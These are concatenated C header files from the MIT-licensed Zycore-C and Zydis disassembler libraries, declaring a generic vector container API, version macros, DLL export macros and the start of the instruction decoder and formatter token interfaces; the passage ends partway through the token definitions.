#else
#define ZYAN_VECTOR_GET(type, vector, index) \
(*(const type*)ZyanVectorGet(vector, index))
#endif
/**
* Loops through all elements of the vector.
*
* @param type The desired value type.
* @param vector A pointer to the `ZyanVector` instance.
* @param item_name The name of the iterator item.
* @param body The body to execute for each item in the vector.
*/
#define ZYAN_VECTOR_FOREACH(type, vector, item_name, body) \
{ \
const ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name) = (vector)->size; \
for (ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) = 0; \
ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) < \
ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name); \
++ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)) \
{ \
const type item_name = ZYAN_VECTOR_GET(type, vector, \
ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)); \
body \
} \
}
/**
* Loops through all elements of the vector.
*
* @param type The desired value type.
* @param vector A pointer to the `ZyanVector` instance.
* @param item_name The name of the iterator item.
* @param body The body to execute for each item in the vector.
*/
#define ZYAN_VECTOR_FOREACH_MUTABLE(type, vector, item_name, body) \
{ \
const ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name) = (vector)->size; \
for (ZyanUSize ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) = 0; \
ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name) < \
ZYAN_MACRO_CONCAT_EXPAND(size_d50d3303, item_name); \
++ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)) \
{ \
type* const item_name = ZyanVectorGetMutable(vector, \
ZYAN_MACRO_CONCAT_EXPAND(i_bfd62679, item_name)); \
body \
} \
}
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Constructor and destructor */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYAN_NO_LIBC
/**
* Initializes the given `ZyanVector` instance.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element_size The size of a single element in bytes.
* @param capacity The initial capacity (number of elements).
* @param destructor A destructor callback that is invoked every time an item is deleted, or
* `ZYAN_NULL` if not needed.
*
* @return A zyan status code.
*
* The memory for the vector elements is dynamically allocated by the default allocator using the
* default growth factor of `2.0f` and the default shrink threshold of `0.25f`.
*
* Finalization with `ZyanVectorDestroy` is required for all instances created by this function.
*/
ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanVectorInit(ZyanVector* vector,
ZyanUSize element_size, ZyanUSize capacity, ZyanMemberProcedure destructor);
#endif // ZYAN_NO_LIBC
/**
* Initializes the given `ZyanVector` instance and sets a custom `allocator` and memory
* allocation/deallocation parameters.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element_size The size of a single element in bytes.
* @param capacity The initial capacity (number of elements).
* @param destructor A destructor callback that is invoked every time an item is deleted,
* or `ZYAN_NULL` if not needed.
* @param allocator A pointer to a `ZyanAllocator` instance.
* @param growth_factor The growth factor (from `1.0f` to `x.xf`).
* @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`).
*
* @return A zyan status code.
*
* A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables
* dynamic shrinking.
*
* Finalization with `ZyanVectorDestroy` is required for all instances created by this function.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorInitEx(ZyanVector* vector, ZyanUSize element_size,
ZyanUSize capacity, ZyanMemberProcedure destructor, ZyanAllocator* allocator,
float growth_factor, float shrink_threshold);
/**
* Initializes the given `ZyanVector` instance and configures it to use a custom user
* defined buffer with a fixed size.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element_size The size of a single element in bytes.
* @param buffer A pointer to the buffer that is used as storage for the elements.
* @param capacity The maximum capacity (number of elements) of the buffer.
* @param destructor A destructor callback that is invoked every time an item is deleted, or
* `ZYAN_NULL` if not needed.
*
* @return A zyan status code.
*
* Finalization is not required for instances created by this function.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorInitCustomBuffer(ZyanVector* vector, ZyanUSize element_size,
void* buffer, ZyanUSize capacity, ZyanMemberProcedure destructor);
/**
* Destroys the given `ZyanVector` instance.
*
* @param vector A pointer to the `ZyanVector` instance..
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorDestroy(ZyanVector* vector);
/* ---------------------------------------------------------------------------------------------- */
/* Duplication */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYAN_NO_LIBC
/**
* Initializes a new `ZyanVector` instance by duplicating an existing vector.
*
* @param destination A pointer to the (uninitialized) destination `ZyanVector` instance.
* @param source A pointer to the source vector.
* @param capacity The initial capacity (number of elements).
*
* This value is automatically adjusted to the size of the source vector, if
* a smaller value was passed.
*
* @return A zyan status code.
*
* The memory for the vector is dynamically allocated by the default allocator using the default
* growth factor of `2.0f` and the default shrink threshold of `0.25f`.
*
* Finalization with `ZyanVectorDestroy` is required for all instances created by this function.
*/
ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanVectorDuplicate(ZyanVector* destination,
const ZyanVector* source, ZyanUSize capacity);
#endif // ZYAN_NO_LIBC
/**
* Initializes a new `ZyanVector` instance by duplicating an existing vector and sets a
* custom `allocator` and memory allocation/deallocation parameters.
*
* @param destination A pointer to the (uninitialized) destination `ZyanVector` instance.
* @param source A pointer to the source vector.
* @param capacity The initial capacity (number of elements).
* This value is automatically adjusted to the size of the source
* vector, if a smaller value was passed.
* @param allocator A pointer to a `ZyanAllocator` instance.
* @param growth_factor The growth factor (from `1.0f` to `x.xf`).
* @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`).
*
* @return A zyan status code.
*
* A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables
* dynamic shrinking.
*
* Finalization with `ZyanVectorDestroy` is required for all instances created by this function.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorDuplicateEx(ZyanVector* destination, const ZyanVector* source,
ZyanUSize capacity, ZyanAllocator* allocator, float growth_factor, float shrink_threshold);
/**
* Initializes a new `ZyanVector` instance by duplicating an existing vector and
* configures it to use a custom user defined buffer with a fixed size.
*
* @param destination A pointer to the (uninitialized) destination `ZyanVector` instance.
* @param source A pointer to the source vector.
* @param buffer A pointer to the buffer that is used as storage for the elements.
* @param capacity The maximum capacity (number of elements) of the buffer.
* This function will fail, if the capacity of the buffer is less than the
* size of the source vector.
*
* @return A zyan status code.
*
* Finalization is not required for instances created by this function.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorDuplicateCustomBuffer(ZyanVector* destination,
const ZyanVector* source, void* buffer, ZyanUSize capacity);
/* ---------------------------------------------------------------------------------------------- */
/* Element access */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns a constant pointer to the element at the given `index`.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The element index.
*
* @return A constant pointer to the desired element in the vector or `ZYAN_NULL`, if an error
* occured.
*
* Note that the returned pointer might get invalid when the vector is resized by either a manual
* call to the memory-management functions or implicitly by inserting or removing elements.
*
* Take a look at `ZyanVectorGetPointer` instead, if you need a function that returns a zyan status
* code.
*/
ZYCORE_EXPORT const void* ZyanVectorGet(const ZyanVector* vector, ZyanUSize index);
/**
* Returns a mutable pointer to the element at the given `index`.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The element index.
*
* @return A mutable pointer to the desired element in the vector or `ZYAN_NULL`, if an error
* occured.
*
* Note that the returned pointer might get invalid when the vector is resized by either a manual
* call to the memory-management functions or implicitly by inserting or removing elements.
*
* Take a look at `ZyanVectorGetPointerMutable` instead, if you need a function that returns a
* zyan status code.
*/
ZYCORE_EXPORT void* ZyanVectorGetMutable(const ZyanVector* vector, ZyanUSize index);
/**
* Returns a constant pointer to the element at the given `index`.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The element index.
* @param value Receives a constant pointer to the desired element in the vector.
*
* Note that the returned pointer might get invalid when the vector is resized by either a manual
* call to the memory-management functions or implicitly by inserting or removing elements.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorGetPointer(const ZyanVector* vector, ZyanUSize index,
const void** value);
/**
* Returns a mutable pointer to the element at the given `index`.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The element index.
* @param value Receives a mutable pointer to the desired element in the vector.
*
* Note that the returned pointer might get invalid when the vector is resized by either a manual
* call to the memory-management functions or implicitly by inserting or removing elements.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorGetPointerMutable(const ZyanVector* vector, ZyanUSize index,
void** value);
/**
* Assigns a new value to the element at the given `index`.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The value index.
* @param value The value to assign.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorSet(ZyanVector* vector, ZyanUSize index,
const void* value);
/* ---------------------------------------------------------------------------------------------- */
/* Insertion */
/* ---------------------------------------------------------------------------------------------- */
/**
* Adds a new `element` to the end of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element A pointer to the element to add.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorPushBack(ZyanVector* vector, const void* element);
/**
* Inserts an `element` at the given `index` of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The insert index.
* @param element A pointer to the element to insert.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorInsert(ZyanVector* vector, ZyanUSize index,
const void* element);
/**
* Inserts multiple `elements` at the given `index` of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The insert index.
* @param elements A pointer to the first element.
* @param count The number of elements to insert.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorInsertRange(ZyanVector* vector, ZyanUSize index,
const void* elements, ZyanUSize count);
/**
* Constructs an `element` in-place at the end of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element Receives a pointer to the new element.
* @param constructor The constructor callback or `ZYAN_NULL`. The new element will be in
* undefined state, if no constructor was passed.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorEmplace(ZyanVector* vector, void** element,
ZyanMemberFunction constructor);
/**
* Constructs an `element` in-place and inserts it at the given `index` of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The insert index.
* @param element Receives a pointer to the new element.
* @param constructor The constructor callback or `ZYAN_NULL`. The new element will be in
* undefined state, if no constructor was passed.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorEmplaceEx(ZyanVector* vector, ZyanUSize index,
void** element, ZyanMemberFunction constructor);
/* ---------------------------------------------------------------------------------------------- */
/* Utils */
/* ---------------------------------------------------------------------------------------------- */
/**
* Swaps the element at `index_first` with the element at `index_second`.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index_first The index of the first element.
* @param index_second The index of the second element.
*
* @return A zyan status code.
*
* This function requires the vector to have spare capacity for one temporary element. Call
* `ZyanVectorReserve` before this function to increase capacity, if needed.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorSwapElements(ZyanVector* vector, ZyanUSize index_first,
ZyanUSize index_second);
/* ---------------------------------------------------------------------------------------------- */
/* Deletion */
/* ---------------------------------------------------------------------------------------------- */
/**
* Deletes the element at the given `index` of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The element index.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorDelete(ZyanVector* vector, ZyanUSize index);
/**
* Deletes multiple elements from the given vector, starting at `index`.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param index The index of the first element to delete.
* @param count The number of elements to delete.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorDeleteRange(ZyanVector* vector, ZyanUSize index,
ZyanUSize count);
/**
* Removes the last element of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorPopBack(ZyanVector* vector);
/**
* Erases all elements of the given vector.
*
* @param vector A pointer to the `ZyanVector` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorClear(ZyanVector* vector);
/* ---------------------------------------------------------------------------------------------- */
/* Searching */
/* ---------------------------------------------------------------------------------------------- */
/**
* Sequentially searches for the first occurrence of `element` in the given vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element A pointer to the element to search for.
* @param found_index A pointer to a variable that receives the index of the found element.
* @param comparison The comparison function to use.
*
* @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic
* zyan status code if an error occured.
*
* The `found_index` is set to `-1`, if the element was not found.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorFind(const ZyanVector* vector, const void* element,
ZyanISize* found_index, ZyanEqualityComparison comparison);
/**
* Sequentially searches for the first occurrence of `element` in the given vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element A pointer to the element to search for.
* @param found_index A pointer to a variable that receives the index of the found element.
* @param comparison The comparison function to use.
* @param index The start index.
* @param count The maximum number of elements to iterate, beginning from the start `index`.
*
* @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic
* zyan status code if an error occured.
*
* The `found_index` is set to `-1`, if the element was not found.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorFindEx(const ZyanVector* vector, const void* element,
ZyanISize* found_index, ZyanEqualityComparison comparison, ZyanUSize index, ZyanUSize count);
/**
* Searches for the first occurrence of `element` in the given vector using a binary-
* search algorithm.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element A pointer to the element to search for.
* @param found_index A pointer to a variable that receives the index of the found element.
* @param comparison The comparison function to use.
*
* @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic
* zyan status code if an error occured.
*
* If found, `found_index` contains the zero-based index of `element`. If not found, `found_index`
* contains the index of the first entry larger than `element`.
*
* This function requires all elements in the vector to be strictly ordered (sorted).
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorBinarySearch(const ZyanVector* vector, const void* element,
ZyanUSize* found_index, ZyanComparison comparison);
/**
* Searches for the first occurrence of `element` in the given vector using a binary-
* search algorithm.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param element A pointer to the element to search for.
* @param found_index A pointer to a variable that receives the index of the found element.
* @param comparison The comparison function to use.
* @param index The start index.
* @param count The maximum number of elements to iterate, beginning from the start `index`.
*
* @return `ZYAN_STATUS_TRUE` if the element was found, `ZYAN_STATUS_FALSE` if not or a generic
* zyan status code if an error occured.
*
* If found, `found_index` contains the zero-based index of `element`. If not found, `found_index`
* contains the index of the first entry larger than `element`.
*
* This function requires all elements in the vector to be strictly ordered (sorted).
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorBinarySearchEx(const ZyanVector* vector, const void* element,
ZyanUSize* found_index, ZyanComparison comparison, ZyanUSize index, ZyanUSize count);
/* ---------------------------------------------------------------------------------------------- */
/* Memory management */
/* ---------------------------------------------------------------------------------------------- */
/**
* Resizes the given `ZyanVector` instance.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param size The new size of the vector.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorResize(ZyanVector* vector, ZyanUSize size);
/**
* Resizes the given `ZyanVector` instance.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param size The new size of the vector.
* @param initializer A pointer to a value to be used as initializer for new items.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorResizeEx(ZyanVector* vector, ZyanUSize size,
const void* initializer);
/**
* Changes the capacity of the given `ZyanVector` instance.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param capacity The new minimum capacity of the vector.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorReserve(ZyanVector* vector, ZyanUSize capacity);
/**
* Shrinks the capacity of the given vector to match it's size.
*
* @param vector A pointer to the `ZyanVector` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorShrinkToFit(ZyanVector* vector);
/* ---------------------------------------------------------------------------------------------- */
/* Information */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the current capacity of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param capacity Receives the size of the vector.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorGetCapacity(const ZyanVector* vector, ZyanUSize* capacity);
/**
* Returns the current size of the vector.
*
* @param vector A pointer to the `ZyanVector` instance.
* @param size Receives the size of the vector.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanVectorGetSize(const ZyanVector* vector, ZyanUSize* size);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_VECTOR_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Master include file, including everything else.
*/
#ifndef ZYCORE_H
#define ZYCORE_H
#include <ZycoreExportConfig.h>
#include <Zycore/Types.h>
// TODO:
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Constants */
/* ---------------------------------------------------------------------------------------------- */
/**
* A macro that defines the zycore version.
*/
#define ZYCORE_VERSION (ZyanU64)0x0001000000000000
/* ---------------------------------------------------------------------------------------------- */
/* Helper macros */
/* ---------------------------------------------------------------------------------------------- */
/**
* Extracts the major-part of the zycore version.
*
* @param version The zycore version value
*/
#define ZYCORE_VERSION_MAJOR(version) (ZyanU16)((version & 0xFFFF000000000000) >> 48)
/**
* Extracts the minor-part of the zycore version.
*
* @param version The zycore version value
*/
#define ZYCORE_VERSION_MINOR(version) (ZyanU16)((version & 0x0000FFFF00000000) >> 32)
/**
* Extracts the patch-part of the zycore version.
*
* @param version The zycore version value
*/
#define ZYCORE_VERSION_PATCH(version) (ZyanU16)((version & 0x00000000FFFF0000) >> 16)
/**
* Extracts the build-part of the zycore version.
*
* @param version The zycore version value
*/
#define ZYCORE_VERSION_BUILD(version) (ZyanU16)(version & 0x000000000000FFFF)
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* Returns the zycore version.
*
* @return The zycore version.
*
* Use the macros provided in this file to extract the major, minor, patch and build part from the
* returned version value.
*/
ZYCORE_EXPORT ZyanU64 ZycoreGetVersion(void);
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_H */

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#ifndef ZYCORE_EXPORT_H
#define ZYCORE_EXPORT_H
#ifdef ZYCORE_STATIC_DEFINE
# define ZYCORE_EXPORT
# define ZYCORE_NO_EXPORT
#else
# ifndef ZYCORE_EXPORT
# ifdef Zycore_EXPORTS
/* We are building this library */
# define ZYCORE_EXPORT __declspec(dllexport)
# else
/* We are using this library */
# define ZYCORE_EXPORT __declspec(dllimport)
# endif
# endif
# ifndef ZYCORE_NO_EXPORT
# define ZYCORE_NO_EXPORT
# endif
#endif
#ifndef ZYCORE_DEPRECATED
# define ZYCORE_DEPRECATED __declspec(deprecated)
#endif
#ifndef ZYCORE_DEPRECATED_EXPORT
# define ZYCORE_DEPRECATED_EXPORT ZYCORE_EXPORT ZYCORE_DEPRECATED
#endif
#ifndef ZYCORE_DEPRECATED_NO_EXPORT
# define ZYCORE_DEPRECATED_NO_EXPORT ZYCORE_NO_EXPORT ZYCORE_DEPRECATED
#endif
#if 0 /* DEFINE_NO_DEPRECATED */
# ifndef ZYCORE_NO_DEPRECATED
# define ZYCORE_NO_DEPRECATED
# endif
#endif
#endif /* ZYCORE_EXPORT_H */

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Theodosius/Zydis.lib
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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Functions for decoding instructions.
*/
#ifndef ZYDIS_DECODER_H
#define ZYDIS_DECODER_H
#include <Zycore/Types.h>
#include <Zycore/Defines.h>
#include <Zydis/DecoderTypes.h>
#include <Zydis/Status.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Decoder mode */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisDecoderMode` enum.
*/
typedef enum ZydisDecoderMode_
{
/**
* Enables minimal instruction decoding without semantic analysis.
*
* This mode provides access to the mnemonic, the instruction-length, the effective
* operand-size, the effective address-width, some attributes (e.g. `ZYDIS_ATTRIB_IS_RELATIVE`)
* and all of the information in the `raw` field of the `ZydisDecodedInstruction` struct.
*
* Operands, most attributes and other specific information (like `AVX` info) are not
* accessible in this mode.
*
* This mode is NOT enabled by default.
*/
ZYDIS_DECODER_MODE_MINIMAL,
/**
* Enables the `AMD`-branch mode.
*
* Intel ignores the operand-size override-prefix (`0x66`) for all branches with 32-bit
* immediates and forces the operand-size of the instruction to 64-bit in 64-bit mode.
* In `AMD`-branch mode `0x66` is not ignored and changes the operand-size and the size of the
* immediate to 16-bit.
*
* This mode is NOT enabled by default.
*/
ZYDIS_DECODER_MODE_AMD_BRANCHES,
/**
* Enables `KNC` compatibility-mode.
*
* `KNC` and `KNL+` chips are sharing opcodes and encodings for some mask-related instructions.
* Enable this mode to use the old `KNC` specifications (different mnemonics, operands, ..).
*
* This mode is NOT enabled by default.
*/
ZYDIS_DECODER_MODE_KNC,
/**
* Enables the `MPX` mode.
*
* The `MPX` isa-extension reuses (overrides) some of the widenop instruction opcodes.
*
* This mode is enabled by default.
*/
ZYDIS_DECODER_MODE_MPX,
/**
* Enables the `CET` mode.
*
* The `CET` isa-extension reuses (overrides) some of the widenop instruction opcodes.
*
* This mode is enabled by default.
*/
ZYDIS_DECODER_MODE_CET,
/**
* Enables the `LZCNT` mode.
*
* The `LZCNT` isa-extension reuses (overrides) some of the widenop instruction opcodes.
*
* This mode is enabled by default.
*/
ZYDIS_DECODER_MODE_LZCNT,
/**
* Enables the `TZCNT` mode.
*
* The `TZCNT` isa-extension reuses (overrides) some of the widenop instruction opcodes.
*
* This mode is enabled by default.
*/
ZYDIS_DECODER_MODE_TZCNT,
/**
* Enables the `WBNOINVD` mode.
*
* The `WBINVD` instruction is interpreted as `WBNOINVD` on ICL chips, if a `F3` prefix is
* used.
*
* This mode is disabled by default.
*/
ZYDIS_DECODER_MODE_WBNOINVD,
/**
* Enables the `CLDEMOTE` mode.
*
* The `CLDEMOTE` isa-extension reuses (overrides) some of the widenop instruction opcodes.
*
* This mode is enabled by default.
*/
ZYDIS_DECODER_MODE_CLDEMOTE,
/**
* Maximum value of this enum.
*/
ZYDIS_DECODER_MODE_MAX_VALUE = ZYDIS_DECODER_MODE_CLDEMOTE,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_DECODER_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_DECODER_MODE_MAX_VALUE)
} ZydisDecoderMode;
/* ---------------------------------------------------------------------------------------------- */
/* Decoder struct */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisDecoder` struct.
*
* All fields in this struct should be considered as "private". Any changes may lead to unexpected
* behavior.
*/
typedef struct ZydisDecoder_
{
/**
* The machine mode.
*/
ZydisMachineMode machine_mode;
/**
* The address width.
*/
ZydisAddressWidth address_width;
/**
* The decoder mode array.
*/
ZyanBool decoder_mode[ZYDIS_DECODER_MODE_MAX_VALUE + 1];
} ZydisDecoder;
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/**
* @addtogroup decoder Decoder
* Functions allowing decoding of instruction bytes to a machine interpretable struct.
* @{
*/
/**
* Initializes the given `ZydisDecoder` instance.
*
* @param decoder A pointer to the `ZydisDecoder` instance.
* @param machine_mode The machine mode.
* @param address_width The address width.
*
* @return A zyan status code.
*/
ZYDIS_EXPORT ZyanStatus ZydisDecoderInit(ZydisDecoder* decoder, ZydisMachineMode machine_mode,
ZydisAddressWidth address_width);
/**
* Enables or disables the specified decoder-mode.
*
* @param decoder A pointer to the `ZydisDecoder` instance.
* @param mode The decoder mode.
* @param enabled `ZYAN_TRUE` to enable, or `ZYAN_FALSE` to disable the specified decoder-mode.
*
* @return A zyan status code.
*/
ZYDIS_EXPORT ZyanStatus ZydisDecoderEnableMode(ZydisDecoder* decoder, ZydisDecoderMode mode,
ZyanBool enabled);
/**
* Decodes the instruction in the given input `buffer`.
*
* @param decoder A pointer to the `ZydisDecoder` instance.
* @param buffer A pointer to the input buffer.
* @param length The length of the input buffer. Note that this can be bigger than the
* actual size of the instruction -- you don't have to know the size up
* front. This length is merely used to prevent Zydis from doing
* out-of-bounds reads on your buffer.
* @param instruction A pointer to the `ZydisDecodedInstruction` struct, that receives the
* details about the decoded instruction.
*
* @return A zyan status code.
*/
ZYDIS_EXPORT ZyanStatus ZydisDecoderDecodeBuffer(const ZydisDecoder* decoder,
const void* buffer, ZyanUSize length, ZydisDecodedInstruction* instruction);
/** @} */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_DECODER_H */

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/***************************************************************************************************
Zyan Disassembler Library (Zydis)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Implements the `ZydisFormatterToken` type and provides functions to use it.
*/
#ifndef ZYDIS_FORMATTER_TOKEN_H
#define ZYDIS_FORMATTER_TOKEN_H
#include <ZydisExportConfig.h>
#include <Zycore/String.h>
#include <Zycore/Types.h>
#include <Zydis/Status.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Constants */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Token types */
/* ---------------------------------------------------------------------------------------------- */
/**
* @biref Defines the `ZydisTokenType` data-type.
*/
typedef ZyanU8 ZydisTokenType;
#define ZYDIS_TOKEN_INVALID 0x00
/**
* A whitespace character.
*/
#define ZYDIS_TOKEN_WHITESPACE 0x01
/**
* A delimiter character (like `','`, `':'`, `'+'`, `'-'`, `'*'`).
*/
#define ZYDIS_TOKEN_DELIMITER 0x02
/**
* An opening parenthesis character (like `'('`, `'['`, `'{'`).
*/
#define ZYDIS_TOKEN_PARENTHESIS_OPEN 0x03
/**
* A closing parenthesis character (like `')'`, `']'`, `'}'`).
*/
#define ZYDIS_TOKEN_PARENTHESIS_CLOSE 0x04
/**
* A prefix literal (like `"LOCK"`, `"REP"`).
*/
